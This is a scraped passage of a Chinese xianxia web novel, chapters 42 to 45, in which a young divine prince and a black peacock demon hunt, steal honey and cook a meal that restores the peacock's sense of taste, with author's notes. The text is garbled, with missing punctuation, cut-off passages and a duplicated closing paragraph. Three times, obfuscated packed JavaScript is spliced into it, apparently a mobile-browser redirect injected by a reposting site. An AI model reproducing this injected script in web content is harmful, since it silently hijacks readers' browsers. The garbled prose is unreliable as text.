“哇啊!”巫曦惊得大叫起来,他眼睁睁看着陆地距离自己越发遥远,他的小木屋也逐渐缩小,四下里大雪纷飞,但是黑孔雀振翅间的风雷异响,便如一个强有力的结界,将朔风和大雪都隔绝在三丈之外。 “找找,”孔宴秋说,“你的鼻子灵,看哪有能打猎的地方。” 巫曦被他挟在腰间,却是老大的不舒服。他抿着嘴唇,挂在孔宴秋的手臂上乱拧,孔宴秋有些惊着了:“别摔下去。” 他才不管这个,在孔雀身上爬来爬去,来回变换姿势。孔宴秋没办法,只好用两条手臂不住地捞着他,最后,巫曦搂住他的脖颈,坐在孔雀的臂弯里,总算舒坦了。 “嗯,”巫曦满意地把脸贴在孔宴秋的锁骨处,“向东走,我闻到一点猎物的味道,前进前进 !” 在自己怀里他是热腾腾的一小团。为了更敏捷的飞翔鸟儿拥有中空轻灵的骨骼但此刻抱着巫曦孔宴秋忽然觉得他也像雏鸟一样又轻又小似乎随时可以飘到天上去。 “那你抓稳吧。”他低声说展开羽翼往东直飞。 孔雀的大翼以及他拖曳的尾翎在雪地上投射出极似凤鸟的阴影。他掠过低空巫曦振奋地加重了呼吸在他怀里左右探看。 小孩子心性他想。 不知出于什么心态孔宴秋微妙地改变了双翼流动的风向。长风徜徉大如鹅毛的雪花乱而密地翻飞搓棉扯絮一般厚覆群山。他带着巫曦一个俯冲羽翼划破大雪吓得巫曦猛地抱紧了他的脖子。 “啊!”他叫出了声血液骤然涌上大脑冲得巫曦头晕目眩但惊吓过后就是止不住的大笑。 巫曦兴奋地揉着他大声道:“再来一次再来一次!” 孔宴秋扬起眉梢:“不怕?” “不怕!” 黑孔雀轻轻一哼双翼展开在空中变换飞行的方式 长空中雪云密布犹如矗立在天空之境的连绵白山永世不断地向下喷吐浩浩大雪。而他们的正前方就显示出这样一座巍峨的雪云。 巫曦激动地道:“我想从里面穿出去!” “你确定?”孔宴秋问“会很危险。” “我确定确定!”巫曦大喊道“很小的时候我就想要这么做了!” 孔宴秋似乎是发出了一声轻笑他抱着巫曦的手臂紧了紧双翼平平延展乘着长风坚定不移地扑进那座看起来厚实绵软不可撼动的云山。 巫曦:“啊啊啊——!” 刹那间巨量的冰雾和水汽重重怼进他的脸上、全身差点把他怼成一张小饼扁扁地贴在孔宴秋的胸前。孔宴秋收缩双翼转移身体重心犹如一道黑色的闪电奇快无比地带起两道旋转的云带。他钻开了浓雾的桎梏也给巫曦带去了一点喘息的时机。 “看。”他低下头轻声说。 在他怀里巫曦勉强睁开一隙眼皮顿时惊讶地张大嘴巴吃进一嘴的冷雾。 ——看似洁白绵软厚重无害的云山里面居然孕育着如 此之多的电光雷霆! 霹雳连声,紫光艳耀,绵绵不绝地照亮了汹涌翻卷的云层,以及每一处复杂的罅隙。震雷的轰鸣犹如一浪迭着一浪的怒涛,自头顶滚滚而来。 孔宴秋敏捷地在银线弯刀似的电光中穿梭,巫曦紧紧搂着他,感到身上的每一处毛孔,每一根发梢,都在雷暴中觳觫战栗,胡乱地蓬着。 “玄冥的不甘和怒气,这么久了都不曾消磨殆尽。”孔宴秋低声道,“可见世间的业债,总是铭记容易,遗忘难。” 巫曦听不清他在说什么,他睁大眼睛,朝着前方焦急道:“小心!” 孔宴秋一抬眼,见身前闪电如鞭,毒辣凌厉地朝云中的活物劈来。他下意识悬停双翼,将鎏金溢紫的尾翎一振抖开—— 三色神光铺天盖地,盘旋绽放,与雷霆业火悍然互撞,即刻在云山中引发了连环大爆炸。 如同盛艳绚烂的烟花,俄顷间冷雾消融,雷霆弥散,上百里云山的内部遗落着破碎的电流,像是被一柄巨大的扫帚强行清扫过,放眼望去,干干净净。 “天啊……”巫曦的眼眸里也闪烁着星光,钦佩不已,“你真厉害!那就是五色神光吗?” 孔宴秋的喉结动了动。 落雪是玄冥的残躯,雷霆则是祂不甘神陨的怨怒之气。此刻,他看着焕然一新的云山内部,不由哑然。 “……不,”他说,“我身有残缺,用不出完满的五色神光。” “那也很厉害啊!”巫曦兴高采烈,并不觉得这是什么大问题,“反正,你就是我见过最厉害的孔雀啦!” 孔宴秋没有再说话,他抱着巫曦飞出云山,重新回到低空的高度。 “好玩吗?”他问。 “好玩!”巫曦高兴地说,“不过耽搁这么久,我们也该找点吃的了……” 他左顾右盼,在风中来回嗅探,脸上忽然绽出喜色。 “有了,”他松开左手,往下指方向,“那边,有肉味!” 尽管孔宴秋已经恢复嗅觉,但还是搞不懂他说的“肉味”是指什么。他张开大翼,无声无息地掠空低飞,在积雪稍薄,古老的松柏还能探出头的深林间,孔宴秋看到一群后背拖着长刺的箭猪,正在里头拱雪找食,哼哧有声。 原来是这个肉味。 “是箭猪,”巫曦压低声音,“我们可以吃猪排了。” 他两眼发光,挑了一只体型半大的箭猪,对孔宴秋道:“咱们就选那只吧,大箭猪的肉嚼起来费劲,我不喜欢……” 话未说完,孔宴 秋张手一抓,将那头半大猎物远远地吸附过来,在古松树干上发力一撞,便将其撞得头骨粉碎,一命呜呼。 “……吃。 巫曦哭笑不得,孔宴秋挥翼降落,他也从对方怀里跳下去,跑近了戳戳猪。 “得想个方法把它带回去,巫曦有点愁,他从腰间拔出匕首,“我来分肉,这次,咱们应该能把肉全部拿走啦。 孔宴秋好奇地低头看他,巫曦的刀子已经熟练地划开了箭猪的腹部,放出一腔热气腾腾的肠肚,只是猪皮上生着许多长如树枝的倒刺,巫曦不好处理,便交由他利落地撕开。 扯下猪皮,巫曦一刀劈进最后一节脊梁骨,沿着骨膜“唰唰两刀,他的匕首不是凡物,砍瓜切菜般剁开一边的肋排,刀子一挑,就割下一扇肋骨,放到旁边。 孔宴秋有些惊讶,忍不住问:“你从哪学来的这些? 年纪这么小,处理猎物就这么熟练,他看起来就像屠户家的儿子,或者猎户家的儿子。 “我跟司膳学的!巫曦咧嘴一笑,擦掉额头上滴下来的汗珠,他手上全是猪血,把脸也抹得红彤彤的,“司膳可厉害了,处理牲畜实在是一把好手。你不知道,她能用一把磨好的切菜刀,一丝儿不浪费地解开一头青牛!和她比起来,我还差得远呢。 说着,他利落地割下薄薄的猪板油,从油膜里挤出完整光滑的猪腰,再放到旁边。 孔宴秋更好奇了,他又问:“你会守生的神通,又姓巫,听起来应该是长留的王室中人,怎么会是庖厨的学徒? 巫曦停顿一下,脸上的笑容变得有些黯淡:“我就是长留王的儿子呀,我是他最小的小儿子,不受人瞩目,你没听说过也是正常的。 说完这句话,他低下头,开始分割两条后腿。 “不,我……孔宴秋难得语塞,他急忙说,“我并不关心神人的国度,也只是隐约听说长留的王室姓巫,所以才有此疑问。其实我也不知道长留王叫什么,其他王室成员叫什么,我完全不在乎…… 他解释得慌乱,尽管连他自己也不知道,这种慌乱从何而来。 “我晓得!巫曦抬起头来,展颜一笑,“没关系的,我不怪你。 孔宴秋帮他把两条猪后腿收拢放好,猪血新鲜滚热,散发着诱人的气息,却没有一头掠食的妖兽胆敢往这边靠近。 “那么,你是长留国的小王子了,孔宴秋松口气,“你怎么会在 这儿?” 巫曦长叹一口气汗珠顺着鬓角滚落。在孔宴秋反应过来之前他的手臂已然探出指节弯曲隐去锋利的指甲轻轻地揩掉了它们。 “这就孩子没娘说来话长了。”巫曦道接着把自己数月前是怎么出游邻国结果遭人暗算致使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孔宴秋在寒冷的雪气中嗅闻经由小神人的提醒 “走去看看。” 两人翻越古老的松林跋涉过山坡巫曦双目圆睁顿时惊呆了。 ——蜂巢!酷寒的冰天雪地居然有好大的蜂巢整个攀在四人合抱的老松枝干上! 肉眼估计这巨大的蜂巢起码有两人多高橙黑二色的蜂子在其间进进出出个个都有 手掌大小。沁出的巢蜜竟能将松树上的雪尽数融化,将一面树干都流得金灿灿,香馥馥,宛如琥珀般剔透发光。 巫曦惊的话也不会说,人也动不得了,孔宴秋在他耳边低声道:“是骄蜂。” 平逢山的山神骄,乃是世间飞虫的共祖,也只有骄神的后裔,才能不畏极寒,在大荒雪原中筑造出这样的奇迹。 “神蜂啊……”巫曦发抖地吐出一口气,“我从没吃过骄蜂的蜂蜜,你吃过吗?” 孔宴秋摇头:“没有。” “我……”巫曦噘起嘴,发出可怜兮兮的,小狗一样的呜咽声,他抬头,眼巴巴地望着孔宴秋,“我想吃,我好想吃,想吃得不得了了……” 孔宴秋:“……” 孔宴秋不知道这是什么感觉,但是被这双眼睛一看,再被这么哼哼唧唧地一求,他只觉得什么都可以顾不得了。不要说山神后裔,就是山神亲自筑的巢,他也可以上去一翅膀掀飞。 “我给你弄。”他说,五蕴阴火已是蓄势待发。 “哎呀,不要烧,”巫曦急忙拉着他,“烧了以后就没得吃了……这样,你听我说。” 他拉下孔宴秋的耳朵,嘀嘀咕咕道:“你随便弄点动静,把它们全引开,然后我上去割了蜜就跑,怎么样?” 孔宴秋有点犹豫:“万一它们留下戍卫……” “没关系!”巫曦嘿嘿笑,“我手脚很快的,而且,我已经闻到巢蜜的位置啦。” 看他笑得像只偷腥的猫儿,孔宴秋有点好笑,有点无奈,只得听从。 待巫曦藏好之后,黑孔雀展开风雷双翼,平底一阵飓风,冲着蜂巢席卷而去。 骄蜂被打了个措手不及,齐齐发出尖锐的鸣啸,顷刻间倾巢而出,犹如波橙黑相间的巨浪,朝孔宴秋当头拍下。 孔宴秋并不恋战,而是挥舞羽翼,在林间穿梭盘绕。巫曦抓住机会,不顾零星几只留下的神蜂,拔腿狂奔,冲向巢蜜的位置。 他心跳如擂鼓,紧张得浑身都在冒汗,巫曦咬着刀子,手脚并用地从侧边飞速上爬,他瞅准位置,挥出那把已经被他雪洗得锃亮的匕首,一刀截断! 只听“咔嚓”一声,蜜巢已是摇摇欲坠,他慌张得手脚发软,再发力砍出两刀,那一大块巢蜜拉扯着金黄诱人的蜜丝,终于扑通坠地。 看守的神蜂哗然大怒,朝他飞掠而去。巫曦跳下巨树,奋不顾身地扑到地上,用鲛绡包住他宝贵的战利品,扯着嗓子大喊:“孔宴秋,救人,我成功了!孔宴秋!孔宴啾!” 作者有话要说 巫曦:*欺负云*啊哈哈哈我要钻进去捣乱! 孔宴秋:*微笑,点头*可爱。 巫曦:*欺负野猪*啊哈哈哈我饿了,要吃肉! 孔宴秋:*微笑,点头*可爱。 还是巫曦:*欺负蜜蜂*啊哈哈哈蜂蜜!我的了! 孔宴秋:*依然微笑,依然点头*真可爱。 第 43 章 净琉璃之国(十一) 听见他的声音,孔宴秋从旁处展翼而至未到跟前沉重的风压便将零散几只蜂子吹翻在侧。巫曦抱着巢蜜,孔宴秋抱着巫曦羽翅骤然大展,乘着风雷之势一飞冲天笔直地扎进离地千里的造雪云山当中。 底下狂怒的蜂群在林中尖啸嗡鸣但又不敢追出那么远唯恐再中了调虎离山之计,只得忍辱含怒重新回到巢中将巢蜜围得如铁桶一般。 “我们成功了!”巫曦笑得无比灿烂许是在雪原中酿造的缘故,怀中的蜂蜜也带着冰雪般冷冽的香气闻起来沁人心脾,五脏六腑皆为之清透。 “你闻闻这个蜜香!”他激动地道,再蘸了一指头玉色的金蜜,贪恋地放进嘴里——冰如琼浆甘甜清美浓而不腻,且带着一股淡淡的乳香,好吃的人都要飞起来了。 他掰下一小块巢蜜,拧身喂到孔宴秋嘴里,期盼地望着他:“怎么样能尝出味道吗?” 孔宴秋就着他的手,薄唇微张,将那块蜜衔了,咀嚼片刻摇头。 “尝不出味道。”他说。 巫曦有些失望不过并不气馁:“没关系总要把你治好的。” 既然孔宴秋尝不出味道他也不肯再吃独食了原样拿鲛绡包好万分珍惜地让用芥子术收起来。 “话说回来骄蜂能在这里酿出蜜那肯定得有让它们酿蜜的原料”巫曦一盘算心里的点子又冒出来了“走咱们再去碰碰运气说不定还能找到好东西。” 孔宴秋也觉得挺有趣两人一合计便再度折返鬼鬼祟祟地跟踪着骄蜂尾随它们采蜜的路径。此刻 跟着它们的飞行路线两人来到一处巨大的山洞前。 洞口用胶质的蜂蜡堵死唯有骄蜂才能进出。巫曦尚在雪地里探头探脑孔宴秋直接上去一翅膀扇晕几只蜂子把它们的身体扫到一边用火在蜂蜡上烧出个一人宽的小洞冲巫曦招手。 “我给你在外面看着”他道“有危险了叫我。” 巫曦像做贼一样按捺住狂跳的小心脏偷偷摸摸地钻进山洞。 与极寒刺骨的外界截然不同里头的气候温暖如春蜂子轻柔的嗡声就像某种和缓的音乐响彻整个高旷的洞窟。脚下泥土松软巫曦闻到一股馥郁至极的馨香他拐过一个弯前方的景致令人眼前一亮。 此处花木成林一人多高的乔木上开满了硕大肥厚的粉黄色花朵不少蜂子在其中飞舞着照料花落之后地 上铺了厚厚一层晶莹赤红的浆果,空气中漾满醉人的果香。 丹木花,昔年黄帝以玉膏浇灌,亲手种植在密山之上。如今,这些蜂子就在这里开辟出一方小小的洞天福地,种植丹木用以酿蜜。 巫曦避开逡巡的蜂子,他人小,动作也轻灵,蹑手蹑脚地爬过柔软泥地,竟没有蜂子听见他的声音。他扒着布袋,轻手轻脚地潜伏在边缘,将地下的熟果抓了一捧又一捧,装得差不多了,立刻掉头就跑。 “快,快走!巫曦抱着满是红果的袋子,不管有没有被蜂群发现,先扑到孔宴秋怀里,“我偷到它们的丹木果了! 孔宴秋当即伸手,将人抱个满怀,二话不说便展翼飞天。巫曦哈哈直乐,给他展示袋子里的鲜红果实,出来不过须臾,上面已经挂上了一层晶莹剔透的冰霜。 “你瞧,这些可是在长留王宫都难见着的好东西呢。 孔宴秋以武力胁迫大荒凶禽归顺麾下,为了讨好他,妖鸟大肆兴建业摩宫,又将奇珍奢宝搜刮于此,他一概视若无物。此时,孔宴秋虽然不明白这些“吃不着的好东西究竟是有多好,不过看巫曦兴致高昂的样子,他还是点点头,以示认同。 “哦,忘了你看不见颜色了……巫曦把布袋也交由他保管,“没事!我们一起想办法,很快你就能恢复的。 他说得笃定,让人不由自主地就想要信任他。 “好。孔宴秋再点头。 他们在外玩闹奔波了一天,眼下天色已晚,大荒会变得加倍危险,孔宴秋的伤势也没有完全痊愈,他们必须得回去了。 “真是遗憾,巫曦把下巴放在孔宴秋的肩膀上,吹出去的气息亲密地拂动着他鬓边的孔雀翎羽,以及他的耳朵,“我想烤个肉排,可是没有盐,没有米醋,没有香料、生粉、胡麻,也没有黄酒……唉。 孔宴秋的耳朵不自然地抖了抖,竖起来了:“很重要吗? “当然重要啊,巫曦忧愁地说,“烤肉没有酱料,这还算什么烤肉呢? 见他发愁,孔宴秋也皱起眉毛。 飞回木屋,巫曦指挥着孔宴秋,将他们今天打来的战利品分门别类地放进冰窖,由于蜂蜜和丹木果太过珍贵,孔宴秋专门给他再挖了一个另外的小冰窖,将它们妥善地存放起来。 “太晚了,我们吃蒸薯蓣,好不好?巫曦笑眯眯地问。 孔宴秋没有什么不同意,其实巫曦也不必征求他的意见,既然他在这里只是给厨师打下手的。 于是,巫曦将薯蓣折成一段 段的,放在锅上蒸熟。蒸出来的薯蓣香甜绵软,他捧着热烫烫的薯蓣块,在手上忙乱地颠来颠去,呼呼地吹着热气,孔宴秋看得奇怪,直接拿过来,利落地将其掰成两半。 滚热的蒸汽一下冒出来,巫曦赶紧看他的手:“哎呀,你不烫吗? “不啊。孔宴秋茫然地摊着掌心。 他的双手同时具有人和孔雀的双重特征,他生着人的修长十指,也生着孔雀的锋锐钩爪,掌心覆盖厚实鳞甲。黑紫的绒羽覆盖了他的双臂和手背,使得这双手看起来又美丽,又可怕。 “真方便,巫曦羡慕地咕哝,“要是我也有这么一双手…… 他神往地抬起头,幻想自己毫不畏惧地抓着烫烫铁锅,掰开烫烫栗子,抓起烫烫烤鸡的勇猛英姿,到时候,庖厨的宫人和司膳一定会眼冒星光,艳羡地围拢在他身边…… 孔宴秋嘴唇抽搐,把凉下来的薯蓣放在他手上。 “快吃吧。他说。 巫曦回过神,咬一下掰开的薯蓣,忽然见孔宴秋直接连皮带肉地一口吞,急忙探手过去,虎口……孔雀口夺食。 “不是这么吃的! 他的动作麻溜,三下五除二地剥掉薯蓣皮,再递给孔宴秋。 “喏。薯蓣皮也敢下嘴,当心把你的舌头麻掉啦。 “我尝不出味道…… “那也不能不爱惜自己啊!我不许你吃薯蓣皮。 “……噢。 黑孔雀唯唯诺诺的,吃完晚饭,两个人就着雪水洗手,漱口,今日就算过去了。 “真是完美的一天,小神人满意地伸个懒腰,“我们休息吧? 这张木床肯定容纳不下两个健壮的成年人,但巫曦小小的,孔宴秋侧躺,再展开一边的翅膀,将他密不透风地盖住,就能睡得很安逸了。 深夜,孔宴秋睁开眼睛。 他低头看着巫曦,黑夜中,孔雀暗金色的眼眸纤毫毕现地注视着一切。见小神人睡熟了,孔宴秋便安静地坐起来,飘飞下床。 他正要出门,转头见到巫曦就这么四仰八叉地睡着,复又折返回去,抓起毯子,不甚熟练地将人包裹好。 孔宴秋飞上雪地,振翅至高空,发出喑哑、低沉的鸣叫。 鸣声如哨,不多时,三只大妖划破云层,遥遥赶到,悬停在距离他不远的下方。 “尊主。 孔宴秋沉默片刻,开口道:“盐。 九头鬼车听得云里雾里:“什么? 孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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巫曦骤然色变:“什么讹兽?是上次那头吗!” “不是的”孔宴秋马上安抚他“是另一只。我发现……我发现它在觊觎这里然后就出去把它打退了。” “哦——”巫曦的嘴巴张成“O” 形,惊叹地望着他。 孔宴秋点点头,越编越流畅:“我一路追着它,看它逃到洞府,我觉得不能放虎归山,就把它除掉了。随后在它的洞府里发现了这些,可能也是它抢来的罢,我搞不清楚。只是一想到你需要它们,我就都带回来了。” “所以,你是说,讹兽就那么笨地逃回了自己的洞府,再刚好被你追上,然后你又刚好发现了这些我昨天提到的佐料,而且它们还刚好是用配套的水晶瓶子装着的……?”巫曦挠着头,迷惑不解地问。 孔宴秋的嘴唇动了动,一滴冷汗缓缓地从鬓边沁出来。 “嗯啊。”他雄辩地说。 “你真是……”巫曦抬起头,眼睫颤抖。 我真是什么?真是一派胡言?真是信口雌黄?真是把人当傻瓜糊弄? 孔宴秋抿紧嘴唇,心有惴惴地等着下文,却听见巫曦一声欢呼。 “……你真是太厉害啦!” 石破天惊的喝彩,巫曦使劲蹦哒到他身上,紧紧地搂着他。 “有了这些调味料,我们可以做好多好香的烤肉,我很快就可以,不,我现在就可以动手!烤肉!烤肉!” 呼。 在心里,孔宴秋长出一口气,有种劫后余生的庆幸感。 好险,差点就露馅了。 作者有话要说 【嗯嗯,小傻瓜巫曦。。。】 第 44 章 净琉璃之国(十二) “帮我切一个石板出来好吗?巫曦从门框里探出头,已经用崭新的厨刀切上菜了,“两指厚,嫩荷叶大小就够了! “好。 孔宴秋已经帮着把木屋顶上的通风口打通了,听见巫曦的话,他展翅飞出地道,掏了块山岩出来,像挖水豆腐一样,一会儿的工夫,就刨出巫曦要的石板,顺带着用雪水擦了几遍。 巫曦把姜蒜剁成碎末,小根葱洗净,切作小段放入碗中备用,再用勺面将秦椒压成颗粒状,同样放到碗中备用。接着酌量加入三勺黄酒,两勺米醋,一勺生粉,半勺盐,滴入少许蜂蜜,发力搅拌成略微粘稠的勾芡状,倒在切好的梅花肉上。 他拍拍抓抓,像按摩一样捶着细嫩的肉块,确保这些珍贵的调味汁能够完美地渗透进去。孔宴秋带着石板进来,闻见酸辣诱人的调制香气,好奇地看着他的动作。 巫曦看了下他的成果:“石板做好啦?真不错!再搞一个火堆出来,我这边也快了。 他揉完肉排,把它放到一边腌着,孔宴秋已经用石块和木柴搭好火堆,等待他的验收。 巫曦轻轻吹出金色的灵火,让它们在柴火上燃烧,再把石板放上去。 孔宴秋道:“这就是你的灵火。 “是啊,巫曦说,“不过,除了用来生火和打猎之外,也没什么别的用处。 孔宴秋缄默片刻,低声说:“比我的强。 巫曦抬头看他,听见他接着道:“如果我的这次的尝试不成功…… “那就不成功。巫曦坦然地说,“神人和妖族的寿命都那么长,就算要花些时间来寻找治疗的方法,又有什么难的?更何况,你的五感已经解开了一种,这就说明你的病不是那些不治之症,只要活着,总有治愈的希望。 “而且,你不高兴吗,我们昨天出去玩的时候?这不仅仅是治病,也是很快乐的生活体验。 孔宴秋轻声道:“你真是乐观。 “我不是乐观,可能,我的世界只是太小了,所以快乐的部分会被放到很大,难过的部分也会被放到很大。巫曦说,“我必须投向好的那一面,以免不好的那一面把我吞噬。 他耸了耸肩:“虽然适当的哭一哭很有好处,但我还是尽量避免哭。 “哭为什么会有好处?孔宴秋问,“那只是无能者乞怜的手段。懦夫落败时的眼泪,没有任何价值。 这些年,他见过许多人或妖的泪水。妖族在争权夺利的内斗中败下阵来,会用眼泪以此示弱,啼哭着卑 躬屈膝是他们向胜利者的投名状;神人被食人的妖兽袭击飞散的涕泪是他们临死前的生理反应;而那些食人的妖兽折返回业摩宫因为冒犯到他被五蕴阴火焚烧时大声的痛哭则是意在引起他的怜悯之情指望他能大发慈悲地放过自己。 听见他的话巫曦吃了一惊。 “我觉得不是这样”他拉过一个空桶朝里面比划了一下“我们的坏情绪就像这个桶是有承载极限的。” 他做出桶满水溢的惊慌模样:“一旦超过了这个极限我们就要用各种各样的方式把坏情绪发泄出来。” 他再把桶往地下一倒:“这样桶空了我们的承受能力也恢复原状可以继续轻松地上路啦!” 孔宴秋看着他暗金的眼眸半垂着一瞬之间竟显现出极黯淡疲倦的样子。 他低声说:“诸世间苦海无边哪里是一个小小的木桶就能排解的?” 巫曦望见他的眼神一下子呆住了。 他看起来比我大不了多少心态却这样消极低沉。他说他出生起就五感失衡又对自己毫不珍惜仿佛这是一具别人的肉身他只是借过来用用所以如何折腾如何磋磨也不觉得有所谓。 这样行尸走肉一般的日子他熬过了多久? 巫曦不由发问:“你你今年多大啦?我十四快到十五岁在神人里面离成年还早着呢你呢?你成年了吗?” “从我破壳那日算起迄今也有三百……”孔宴秋沉思“将近三百四十年吧。孔雀降生后六甲子为初成十六甲子为小成我还差着数。” 巫曦忍不住“啊”了一声。 这样的日子他竟已熬了三百多年了! “那那按照神人的年纪算”他强颜欢笑“我们二十岁算作初成你们六个甲子算初成就算你今年三百四十岁……唉?” 巫曦掰着手指头愣住:“那你岂不是还没成年?你要是神人顶多就比我大三岁!” “我很年轻”孔宴秋说“所以他们都不服我。” 何止是年轻在妖族眼里你就是个小孩子嘛只比我大一点的小孩子。 说话间石板发出烤得透热的轻微声响巫曦急忙泼了点雪水上去吱吱声过后蒸汽腾升而起。 “锅锅。”巫曦一指孔宴秋便伸长手臂把一锅肉排拉过来。 “擦点猪油。”他再一说 兴地噘嘴便勉强拿了根筷子插着。 巫曦麻利地打了三个蛋在碗里搅成蛋液倒进肉排最后浸了一遍便拿筷子夹出来放在滚烫的石板上。 油泡涌起诱人的肉香混着蛋液的清香以及调味汁的酸辣香气瞬间翻滚上来闻得人口舌生津食指大动。 孔宴秋深深吸进一口眼神中却流露出落寞的不安之色。 “给你每数十声就给它们翻个面”巫曦把筷子递给他“等我一下我去拿个东西。” 他兴冲冲地跑出去过了一阵子他从屋子外面回来捧着个瓷碗瓷碗里是满满当当洗净的丹木果红如石榴艳若珠宝。 “这个!”他笑哈哈地说“一会儿吃肉吃腻了可以用这个解腻!” 他的乐观多少感染了孔宴秋肉排在石板上滋滋跳动边缘卷起已经从肥瘦相间、丰腴漂亮的鲜红色转变为嫩嫩的焦黄色。石板上肉汁横流油脂四溢见火候差不多了巫曦赶紧调小灵火夹起一块呼呼地吹吹放进孔宴秋的盘子里。 “快快尝尝!” 他期盼地看着孔宴秋孔宴秋也垂下眼睫 “有什么感觉?”巫曦急迫地问。 孔宴秋细细体会嚼了半晌他的双肩不自觉地耷拉下去颇有心灰意冷之态。 “不”他苦涩地道“我没有……” 他的眉毛忽然皱起来了。 刺痛。 突如其来的刺痛从他的耳根处向外辐射。 痛意蔓延的速度非常快马上就连他的下颔骨都在强烈的刺痛中变得酸麻。仿佛撬动了什么开关他的唾液大量流淌出来几乎要抑制不住地从咬紧的利齿中流溢而出。 然后他尝到了一点焦炙的肉味。 它不苦不涩也不酸臭它不是任何难以忍受的味道只是孔宴秋形容不出来。 接着更多微醺的酒气米醋的清冽乃至蛋液的醇香都齐齐向他涌来葱姜蒜椒的气味浓烈味道各不相同但都辛辣地刺激着他的唇舌以致蜂蜜的甘味尤其突出。他从前不知道什么是辣什么是甜如今都清晰明了宛如黑白一样分明。 第二扇门毫无征兆地向他洞开将孔宴秋拖进那个奇异而梦幻的世界。犹如河面上坚冰消融他沉寂日久的唇舌也跟着春天一同解冻。他咬了一口再咬一口唯恐这全是幻觉吃得慢了他的感官便会重新闭合只留给他短暂 留存的梦境。 肉排烤制得外焦里嫩,每咀嚼一下,丰沛肉汁和酥脆的脂肪都从唇齿间迸出,带着使人无法自拔的魔力。它冒着腾腾的热气,主宰着食用者的心魂,几乎可以叫他忘记尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101014|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世间的一切忧愁,只是专心地埋头痛吃,以此来弥补过去漫长的贫瘠岁月。 孔宴秋贪婪地张大嘴巴,一口吞掉鲜嫩的烤猪肉,他舔着白生生的牙齿,唇边流淌着汁水,全然失措地盯着巫曦。 “我能尝出味道了!他激动不已,羽翼热切地小幅度呼扇,在屋内形成小股旋风,整个人控制不住地往上扑腾,差点把石板和篝火掀翻,“我能尝出味道了! 巫曦赶紧把碗墩在石板上稳住,真心实意地大笑起来。 “好吃不?他笑眯眯地问,“快下来吧,别飞到屋顶上去啦。 “好吃,好吃的,孔宴秋的眼眶发红,几乎哽咽,“从出生到现在,再也没有吃过比这更好吃的东西了! 巫曦心疼他的境遇,连忙将盆里的肉排放在石板上炙烤,全投喂给他。 快要饿死的野兽是怎样狼吞虎咽的,此时的孔宴秋就是怎样狼吞虎咽的,他吃得双眼发直,牙齿逐渐变得尖锐、锋利,舌头也沁成了妖异的黑紫色,他用鹰钩般的趾爪攫着那些丰盛味美的烤猪肉,用不了多久,就将满满一锅肉尽吞入腹中。 “……还有吗?他哑声问。 巫曦看呆了,他端过碗道:“呃,也尝尝其他的? 孔宴秋伸出淋漓狼藉的爪子,夹起一颗丹木果,小心地放进嘴里。 随着脆脆的喀嚓声,清爽沁甜的果汁喷溅在口腔里,如雾冰凉,笼罩了他的味觉。孔宴秋专心致志地咀嚼着果子,他很喜欢这种味道,使他莫名放松,仿佛可以消除一切沉重的愁绪,只剩下那些澄澈的,明亮的东西。 “甜甜的,我觉得很好。孔宴秋低声说。 “是吧是吧?巫曦笑道,“下次再带你找找别的浆果,野外的浆果又酸又甜,也很不错。 清甜的丹木果似乎稍稍唤回了他的神志,孔宴秋忽然发现,到了现在,巫曦还一口没吃。 “……对不起,我实在太无礼了,愧疚袭上心头,他急忙收拢翅膀,坐下来对巫曦道歉,“你准备了这么久,但我…… “没关系啊!巫曦赶紧打断他的话,“你是病人嘛,我做这些本来就是为了要给你治病的。看,你已经在好转了,说明我这个医者还是很有本事的,对不对? 听他这么说,孔宴秋更加内疚。 照理来说,他的年龄比巫曦要大,年幼的神人也比孔雀脆弱太多,他理当是要照拂巫曦的,可是这会儿,自己却像个白吃白喝的无赖一般,真是太失态了。 思及此处,孔宴秋的耳根都有些红。 他急忙飞出门外,把其他切好的猪肉都带进来,局促地道:“我、我来给你烤。” 巫曦睁大眼睛,但是孔宴秋真的就开始学着他先前的步骤,调酱料、腌肉、拌蛋,复刻得一丝不苟。 烤好之后,他吃一口,就喂巫曦一口,竟是半点都不许巫曦动手。 “好吃吗?”这回,轮到孔宴秋问他了。 巫曦张大嘴巴,吃掉筷子上的烤肉,露出灿烂的笑容。 “好吃好吃!” 作者有话要说 【经常有朋友好奇孔宴啾的形象,今天我把他成年后的人设图发到大眼仔上了,好奇的朋友可以去看看……! 顺便发200个小红包,没有理由就是想发,,,】 巫曦:*施展厨艺,点化烤猪排*嗒哒!怎么样,这就是我的魔法! 孔宴秋:*突然长出二十只多余的翅膀,紧紧地裹住他*嗯,这也是我的魔法。*发出平淡的“嗒哒”声* 巫曦:*惊呆了,然后哭了*我再也不能挣脱了,是不是! 还是巫曦:*含着眼泪,开始觉得很暖和*嗯,嗯……好像也不赖。 第 45 章 净琉璃之国(十三) 是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 是夜,皓雪茫茫,吹絮皑皑,朔风卷起层层叠叠的旷野。荒原万里渺无人烟,唯有木屋里燃着一点昏黄温暖的光晕。 孔宴秋端着碗,正头也不抬地吃葱花炒蛋。 冒着热气,嫩黄蓬松的炒蛋,配上碧绿细碎的葱花,加一点盐,一小勺米醋——无论闻起来,还是吃上去,都是如此喷香松软,叫人停不了嘴。 